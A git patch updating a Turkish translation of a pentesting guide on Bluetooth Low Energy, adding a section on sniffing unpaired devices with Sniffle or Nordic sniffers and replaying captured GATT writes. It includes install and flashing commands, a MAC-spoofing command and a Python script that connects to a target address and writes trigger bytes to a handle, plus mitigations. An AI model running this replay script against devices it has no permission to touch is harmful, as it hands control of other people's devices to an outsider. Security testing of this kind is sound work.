From 42105466e3a1848c8732c689ab9e5c79d58ca3df Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 14:39:42 +0000 Subject: [PATCH] Translated ['', 'src/todo/radio-hacking/pentesting-ble-bluetooth-low-ene --- .../pentesting-ble-bluetooth-low-energy.md | 137 +++++++++++++++++- 1 file changed, 129 insertions(+), 8 deletions(-) diff --git a/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md b/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md index 0131a052f..ae13e5cf9 100644 --- a/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md +++ b/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md @@ -4,21 +4,21 @@ ## Giriş -Bluetooth 4.0 spesifikasyonundan beri mevcut olan BLE, yalnızca 40 kanal kullanır ve 2400 ile 2483.5 MHz aralığını kapsar. Buna karşılık, geleneksel Bluetooth bu aynı aralıkta 79 kanal kullanır. +Bluetooth 4.0 spesifikasyonundan itibaren kullanılabilen BLE, 2400 ile 2483.5 MHz arasını kapsayan sadece 40 kanal kullanır. Buna karşılık, klasik Bluetooth aynı aralıkta 79 kanal kullanır. -BLE cihazları, **reklam paketleri** (**beaconlar**) göndererek iletişim kurar; bu paketler, BLE cihazının varlığını diğer yakın cihazlara yayınlar. Bu beaconlar bazen **veri** de gönderir. +BLE cihazları, **advertising paketleri** (**beacon'lar**) göndererek haberleşir; bu paketler BLE cihazının varlığını yakındaki diğer cihazlara ilan eder. Bu beacon'lar bazen **veri gönderir** de. -Dinleme cihazı, merkezi cihaz olarak da adlandırılır, bir reklam paketine **SCAN isteği** ile yanıt verebilir; bu istek özel olarak reklam cihazına gönderilir. O tarama isteğine verilen **yanıt**, **reklam** paketinin yapısını kullanır ve başlangıç reklam isteğine sığmayan ek bilgileri içerir, örneğin tam cihaz adı. +Dinleyen cihaz, aynı zamanda merkezi cihaz (central device) olarak da adlandırılır, belirli bir advertising cihazına gönderilen bir **SCAN request** ile bir advertising paketine yanıt verebilir. Bu tarama için verilen **response**, ilk advertising isteğine sığmayan tam cihaz adı gibi ek bilgileri içerecek şekilde **advertising** paket ile aynı yapıyı kullanır. ![](<../../images/image (152).png>) -Preamble byte, frekansı senkronize ederken, dört baytlık erişim adresi bir **bağlantı tanımlayıcısıdır** ve birden fazla cihazın aynı kanallarda bağlantı kurmaya çalıştığı senaryolarda kullanılır. Sonraki, Protokol Veri Birimi (**PDU**), **reklam verilerini** içerir. Birkaç PDU türü vardır; en yaygın olarak kullanılanlar ADV_NONCONN_IND ve ADV_IND'dir. Cihazlar, **bağlantıları kabul etmiyorlarsa** **ADV_NONCONN_IND** PDU türünü kullanır ve yalnızca reklam paketinde veri iletir. Cihazlar, **bağlantılara izin veriyorlarsa** **ADV_IND** kullanır ve bir **bağlantı** **kurulduğunda** reklam paketleri göndermeyi durdurur. +Preamble baytı frekansı senkronize ederken, dört baytlık access address bir **connection identifier**dır; aynı kanallarda birden fazla cihazın bağlantı kurmaya çalıştığı senaryolarda kullanılır. Ardından Protocol Data Unit (**PDU**) **advertising data**'yı içerir. Birden fazla PDU türü vardır; en yaygın kullanılanlar ADV_NONCONN_IND ve ADV_IND'dir. Cihazlar **ADV_NONCONN_IND** PDU türünü, **bağlantı kabul etmezlerse** kullanır; bu durumda veri yalnızca advertising paketinde iletilir. Cihazlar **ADV_IND**'i **bağlantılara izin veriyorlarsa** ve bir **connection** kurulduktan sonra **advertising** paket göndermeyi **durduruyorlarsa** kullanır. ### GATT -**Generic Attribute Profile** (GATT), **cihazın verileri nasıl biçimlendireceğini ve ileteceğini** tanımlar. Bir BLE cihazının saldırı yüzeyini analiz ederken, genellikle dikkatinizi GATT (veya GATT'ler) üzerinde yoğunlaştırırsınız, çünkü bu, **cihaz işlevselliğinin nasıl tetiklendiği** ve verilerin nasıl depolandığı, gruplandığı ve değiştirildiğidir. GATT, bir cihazın özelliklerini, tanımlayıcılarını ve hizmetlerini 16 veya 32 bit değerler olarak bir tabloda listeler. Bir **özellik**, merkezi cihaz ile çevresel cihaz arasında **gönderilen** bir **veri** değeridir. Bu özellikler, onlarla ilgili **ek bilgiler sağlayan** **tanımlayıcılar** içerebilir. **Özellikler**, belirli bir eylemi gerçekleştirmekle ilgili olduklarında genellikle **hizmetlerde** **gruplandırılır**. +**Generic Attribute Profile** (GATT), **cihazın veriyi nasıl biçimlendirmesi ve transfer etmesi gerektiğini** tanımlar. Bir BLE cihazının attack surface'ini analiz ederken genellikle GATT'e (veya GATT'lara) odaklanırsınız; çünkü cihaz fonksiyonelliğinin nasıl **tetiklendiğini** ve verilerin nasıl saklandığını, gruplanıp değiştirildiğini gösterir. GATT, bir cihazın characteristics, descriptors ve services öğelerini 16- veya 32-bitlik değerler olarak bir tabloda listeler. Bir **characteristic**, merkezi cihaz ile peripheral arasında **gönderilen** bir **veri** değeridir. Bu characteristic'ler, onlar hakkında **ek bilgi sağlayan** **descriptors** içerebilir. **Characteristics**, belirli bir işlemi gerçekleştirmeye yönelik ilişkili olduklarında sıklıkla **services** içinde **gruplandırılır**. -## Sayım +## Keşif ```bash hciconfig #Check config, check if UP or DOWN # If DOWN try: @@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66 ``` ### GATTool -**GATTool**, başka bir cihazla **bağlantı** **kurmayı** sağlar, o cihazın **özelliklerini** listeleyebilir ve niteliklerini okuyup yazabilir.\ -GATTTool, `-I` seçeneği ile etkileşimli bir kabuk başlatabilir: +**GATTool** başka bir cihazla **bağlantı kurmayı**, o cihazın **özelliklerini** listelemeyi ve özniteliklerini okuma ve yazma işlemlerine olanak tanır.\ +GATTTool `-I` seçeneği ile etkileşimli bir shell başlatabilir: ```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful @@ -64,4 +64,125 @@ sudo bettercap --eval "ble.recon on" >> ble.write >> ble.write ff06 68656c6c6f # Write "hello" in ff06 ``` +## Sniffing ve eşleşmemiş BLE cihazlarını aktif olarak kontrol etme + +Birçok düşük maliyetli BLE çevrebirim pairing/bonding uygulamaz. Bonding olmadığında Link Layer encryption hiç etkinleştirilmez, bu yüzden ATT/GATT trafiği cleartext halinde olur. Bir off-path sniffer bağlantıyı takip edebilir, GATT operations'ı decode ederek characteristic handles ve values öğrenebilir; yakındaki herhangi bir host daha sonra bağlanıp bu writes'ları replay ederek cihazı kontrol edebilir. + +### Sniffing with Sniffle (CC26x2/CC1352) + +Hardware: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352), NCC Group’ın Sniffle firmware’i ile yeniden flashlendi. + +Install Sniffle and its Wireshark extcap on Linux: +```bash +if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then +echo "[+] - Sniffle not installed! Installing at 1.10.0..." +sudo mkdir -p /opt/sniffle +sudo chown -R $USER:$USER /opt/sniffle +pushd /opt/sniffle +wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz +tar xvf v1.10.0.tar.gz +# Install Wireshark extcap for user and root only +mkdir -p $HOME/.local/lib/wireshark/extcap +ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap +sudo mkdir -p /root/.local/lib/wireshark/extcap +sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap +popd +else +echo "[+] - Sniffle already installed at 1.10.0" +fi +``` +Flash Sonoff with Sniffle firmware (seri cihazınızın doğru olduğundan emin olun, örn. /dev/ttyUSB0): +```bash +pushd /opt/sniffle/ +wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex +git clone https://github.com/sultanqasim/cc2538-bsl.git +cd cc2538-bsl +python3 -m venv .venv +source .venv/bin/activate +python3 -m pip install pyserial intelhex +python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex +deactivate +popd +``` +Wireshark'ta Sniffle extcap üzerinden yakalayın ve filtreleyerek hızla state-changing writes'e pivot yapın: +```text +_ws.col.info contains "Sent Write Command" +``` +Bu, client'tan gelen ATT Write Commands'i vurgular; handle ve value genellikle doğrudan cihaz eylemlerine eşlenir (ör. buzzer/alert characteristic'a 0x01 yazmak, durdurmak için 0x00). + +Sniffle CLI hızlı örnekler: +```bash +python3 scanner.py --output scan.pcap +# Only devices with very strong signal +python3 scanner.py --rssi -40 +# Filter advertisements containing a string +python3 sniffer.py --string "banana" --output sniff.pcap +``` +Alternatif sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin de çalışır. Küçük/ucuz Nordic dongle'larda genellikle USB bootloader'ı ezip sniffer firmware'i yüklersiniz, bu yüzden ya özel bir sniffer dongle tutarsınız ya da bootloader'ı sonradan geri yüklemek için bir J-Link/JTAG gerekir. + +### GATT üzerinden aktif kontrol + +Sniffed trafikten yazılabilir bir characteristic handle ve value tespit ettikten sonra, herhangi bir central olarak bağlanıp aynı write'ı gönderin: + +- Nordic nRF Connect for Desktop (BLE app) ile: +- nRF52/nRF52840 dongle'ı seçin, tara ve hedefe bağlanın. +- GATT veritabanında gezin, hedef characteristic'ı bulun (çoğunlukla kullanıcı dostu bir isim olur, örn. Alert Level). +- Sniffed byte'larla bir Write gerçekleştirin (örn. tetiklemek için 01, durdurmak için 00). + +- Windows'ta Python + blatann kullanarak Nordic dongle ile otomatikleştirin: +```python +import time +import blatann + +# CONFIG +COM_PORT = "COM29" # Replace with your COM port +TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC + +target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p") + +# CONNECT +ble_device = blatann.BleDevice(COM_PORT) +ble_device.configure() +ble_device.open() +print(f"[-] Connecting to {TARGET_MAC}...") +peer = ble_device.connect(target_address).wait() +if not peer: +print("[!] Connection failed.") +ble_device.close() +raise SystemExit(1) + +print("Connected. Discovering services...") +peer.discover_services().wait(5, exception_on_timeout=False) + +# Example: write 0x01/0x00 to a known handle +for service in peer.database.services: +for ch in service.characteristics: +if ch.handle == 0x000b: # Replace with your handle +print("[!] Beeping.") +ch.write(b"\x01") +time.sleep(2) +print("[+] And relax.") +ch.write(b"\x00") + +print("[-] Disconnecting...") +peer.disconnect() +peer.wait_for_disconnect() +ble_device.close() +``` +### Operasyonel notlar ve önlemler + +- Kanal atlama ve bağlantı takibi için Linux üzerinde Sonoff+Sniffle'i tercih edin. Yedek olarak bir Nordic sniffer bulundurun. +- Eşleştirme/bağlama olmadan, çevredeki herhangi bir saldırgan yazmaları gözlemleyebilir ve kimlik doğrulaması olmayan yazılabilir characteristics'lara kendi yazmalarını yeniden oynatabilir/üretebilir. +- Önlemler: eşleştirme/bağlama ve şifrelemeyi zorunlu kılın; characteristic izinlerini kimlik doğrulamalı yazmaları gerektirecek şekilde ayarlayın; kimlik doğrulaması olmayan yazılabilir characteristics'ları en aza indirin; GATT ACL'lerini Sniffle/nRF Connect ile doğrulayın. + +## References + +- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/) +- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle) +- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle) +- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p) +- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE) +- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop) +- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/) + {{#include ../../banners/hacktricks-training.md}}